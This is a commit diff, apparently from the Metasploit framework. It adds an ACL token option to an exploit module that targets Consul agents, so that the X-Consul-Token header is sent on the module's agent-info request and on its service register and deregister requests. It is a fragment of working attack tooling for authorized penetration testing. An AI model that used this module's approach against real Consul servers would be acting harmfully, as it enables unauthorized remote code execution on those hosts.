Add support for authorization with X-Consul-Token ACL header.
parent
1839144978
commit
a3d020a7e2
|
@ -39,6 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
[
|
[
|
||||||
OptString.new('TARGETURI', [true, 'The base path', '/']),
|
OptString.new('TARGETURI', [true, 'The base path', '/']),
|
||||||
OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),
|
OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),
|
||||||
|
OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),
|
||||||
Opt::RPORT(8500)
|
Opt::RPORT(8500)
|
||||||
])
|
])
|
||||||
end
|
end
|
||||||
|
@ -49,6 +50,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
'uri' => normalize_uri(uri, "/v1/agent/self"),
|
'uri' => normalize_uri(uri, "/v1/agent/self"),
|
||||||
|
'headers' => {
|
||||||
|
'X-Consul-Token' => datastore['ACL_TOKEN']
|
||||||
|
}
|
||||||
})
|
})
|
||||||
unless res
|
unless res
|
||||||
vprint_error 'Connection failed'
|
vprint_error 'Connection failed'
|
||||||
|
@ -78,6 +82,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'method' => 'PUT',
|
'method' => 'PUT',
|
||||||
'uri' => normalize_uri(uri, 'v1/agent/service/register'),
|
'uri' => normalize_uri(uri, 'v1/agent/service/register'),
|
||||||
|
'headers' => {
|
||||||
|
'X-Consul-Token' => datastore['ACL_TOKEN']
|
||||||
|
},
|
||||||
'ctype' => 'application/json',
|
'ctype' => 'application/json',
|
||||||
'data' => {
|
'data' => {
|
||||||
:ID => "#{service_name}",
|
:ID => "#{service_name}",
|
||||||
|
@ -107,6 +114,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
uri,
|
uri,
|
||||||
"v1/agent/service/deregister/#{service_name}"
|
"v1/agent/service/deregister/#{service_name}"
|
||||||
),
|
),
|
||||||
|
'headers' => {
|
||||||
|
'X-Consul-Token' => datastore['ACL_TOKEN']
|
||||||
|
}
|
||||||
})
|
})
|
||||||
if res and not res.code == 200
|
if res and not res.code == 200
|
||||||
fail_with(Failure::Unknown,
|
fail_with(Failure::Unknown,
|
||||||
|
|
Loading…
Reference in New Issue